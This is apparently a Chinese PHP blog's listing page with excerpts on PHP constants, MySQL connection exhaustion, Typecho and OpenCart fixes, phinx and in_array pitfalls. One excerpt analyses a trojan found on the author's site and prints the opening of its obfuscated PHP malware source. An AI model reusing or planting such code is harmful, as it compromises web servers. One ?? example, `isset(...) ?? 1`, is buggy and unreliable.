PHP开发

php中__METHOD__和_FUNCTION__的区别

话不多说,一段代码实验下 <?php class A{ public function a1(){ echo __FUNCTION__; echo "\n"; echo __METHOD__; echo "\n\n"; } public static function a2(){ echo __FUNCTION__; echo "\n"; echo __METHOD__; echo "\n\n"; } } function a3(){ echo __FUNCTION__; echo "\n"; echo __METHOD__; echo "\n\n"; } $a = new A(); $a->a1(); A::a2(); a3(); 输出如下 a1 A::a1 a2 A::a2 a3 a3 结论 对于类成员函数,METHOD会带上类名,FUNCTION 没有类名 对于非类成员函数,没差别

自己想到的一些问题整理

mysql中各种有几种索引,区别是什么 mysql事务等级细节 swoole和传统fpm的区别是什么 高并发场景下的锁

php并发优化

服务器配置 8核e5-2630L 2.4ghz, 16g内存 20MB带宽 问题场景描述 jemter 300并发开始出现502错误 CPU利用率60% 内存利用率50% 网络流量1MB到1.5MB 分析 cpu和内存利用率不高,网络也没有耗尽。肯定是卡在IO上了。 netstat查看TIME_WAIT,数量正常 opcache查看,已开启,没问题 详细查看压测错误,发现压测过程中出现"SQL Error 1040: Too Many Connection"。既然超过连接数,那就查看限制多少连接吧。 mysql参数 max_connections = 2000; # 2000连接,没毛病,问题不在这 到底有多少连接。一看也是惊呆了,大量的sleep连接没有释放。好了这就是原因了。 解决 系统内同时使用了laravel orm,和pdo对象。系统二开,为了方便增加了laravel orm。 那就看看是谁没关闭连接吧。 去掉所有laraval orm的数据库操作,去掉laravel orm连接创建方法。运行测试,发现还是会保留大量sleep mysql connection 去翻pdo创建代码 // 目测就是这个ATTR_PERSISTENT => true了 $this->connection = new \PDO...

typecho调用二级分类文章group by incompatible with sql_mode=only_full_group_by错误

分析 调用typecho二级分类文章列表显示data base query error 代码目录下搜索"Database Server Error",找到文件var/Typecho/Common.php 282行附近 var/Typecho/Common.php if ($isException && $exception instanceof Typecho_Db_Exception) { $code = 500; @error_log($message); //覆盖原始错误信息 $message = 'Database Server Error'; if ($exception instanceof Typecho_Db_Adapter_Exception) { $code = 503; $message = 'Error establishing a database connection'; } else if ($exception instanceof Typecho_Db_Query_Exception) { $message = 'Database Query Error'; // 增加va...

php7使用Coalescing运算符替代isset

简洁 使用coalescing运算(??)代替isset来减少代码量,省去不必要的代码。在获得某个变量的时候,可以直接给出默认值,而不是先判断是否存在 isset https://www.php.net/manual/en/function.isset.php 用例 $page = 1; if(isset($_GET["page"])){ $page = $_GET["page"]; } //或者 page = isset($_GET['page']) ? $_GET['page'] : 1 我们经常需要检测一个 coalescing运算(??) https://www.php.net/manual/en/migration70.new-features.php 当我们需要使用isset三元运算符的时候,我们可以使用coalescing运算(??)这个语法糖来代替 比如 $page = isset($_GET['page']) ?? 1; 测试代码 $array = [0 => "aaa", 1 => null]; $v0 = $array[0] ?? "emtpy"; // 存在 $v1 = $array[1] ?? "emtpy"; // null $v2 = $array[2] ?? "emtpy"; // 不存在 echo $...

一段php病毒分析

网站上被人挂了木马,拿下来分析下吧. 源代码 <?php $wyfxfq = '0vktmocuneiy#gr9ldx1\'b_-p45H*sa8736';$hqpnhcc = Array();$hqpnhcc[] = $wyfxfq[27].$wyfxfq[28];$hqpnhcc[] = $wyfxfq[12];$hqpnhcc[] = $wyfxfq[34].$wyfxfq[15].$wyfxfq[32].$wyfxfq[19].$wyfxfq[6].$wyfxfq[9].$wyfxfq[33].$wyfxfq[21].$wyfxfq[23].$wyfxfq[34].$wyfxfq[33].$wyfxfq[30].$wyfxfq[15].$wyfxfq[23].$wyfxfq[25].$wyfxfq[26].$wyfxfq[26].$wyfxfq[31].$wyfxfq[23].$wyfxfq[15].$wyfxfq[25].$wyfxfq[31].$wyfxfq[31].$wyfxfq[23].$wyfxfq[30].$wyfxfq[15].$wyfxfq[34].$wyfxfq[30].$wyfxfq[26].$wyfxfq[33].$wyfxfq[34].$wyfxfq[0].$wyfxfq[26].$wyfxfq[21].$wyfxfq[21].$wyfx...

使用phinx做database migration

安装 使用compose安装, 命令 php composer.phar require robmorgan/phinx 项目根目录创建db/migrations文件夹,然后执行如下命令(windows系统) λ vendor\bin\phinx init 此时根目录生成了phinx.yml文件。打开修改数据库连接信息,此处我们只设置development数据库连接 paths: migrations: '%%PHINX_CONFIG_DIR%%/db/migrations' seeds: '%%PHINX_CONFIG_DIR%%/db/seeds' environments: default_migration_table: phinxlog default_database: development production: adapter: mysql host: localhost name: production_db user: root pass: '' port: 3306 charset: utf8 development: adapter: mysql table...

php in_array的坑以及其实现

先来看一段代码 <?php $array = ["a", "b", "c"]; var_dump(in_array(0, $array)); 这东西的输出是true, 虽然数组里并没有0 $array = ["a", "b", "c"]; var_dump(in_array(0, $array, true)); 这东西的输出是false!!! 文档 http://php.net/manual/en/function.in-array.php 很简单没啥可说的 in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ) : bool 源码 https://github.com/php/php-src/blob/master/ext/standard/array.c /* {{{ proto bool in_array(mixed needle, array haystack [, bool strict]) Checks if the given value exists in the array */ PHP_FUNCTION(in_array) { php_search_array(INTERNAL_FUNCTION_PARAM_PASSTHRU, 0); } /* ...

OpenCart 3.x使用SwiftMailer发送邮件

描述 使用系统内置SMTP(system/library/mail/smtp.php)发邮件过程中,html邮件内容总是无法正确处理。 分析 OpenCart 3.x发邮件相关代码结构 mail接口 <?php // system/library/mail.php /** * @package OpenCart * @author Daniel Kerr * @copyright Copyright (c) 2005 - 2017, OpenCart, Ltd. (https://www.opencart.com/) * @license https://opensource.org/licenses/GPL-3.0 * @link https://www.opencart.com */ /** * Mail class */ class Mail { protected $to; protected $from; protected $sender; protected $reply_to; protected $subject; protected $text; protected $html; protected $attachments = ...
执行时间: 47.883033752441 毫秒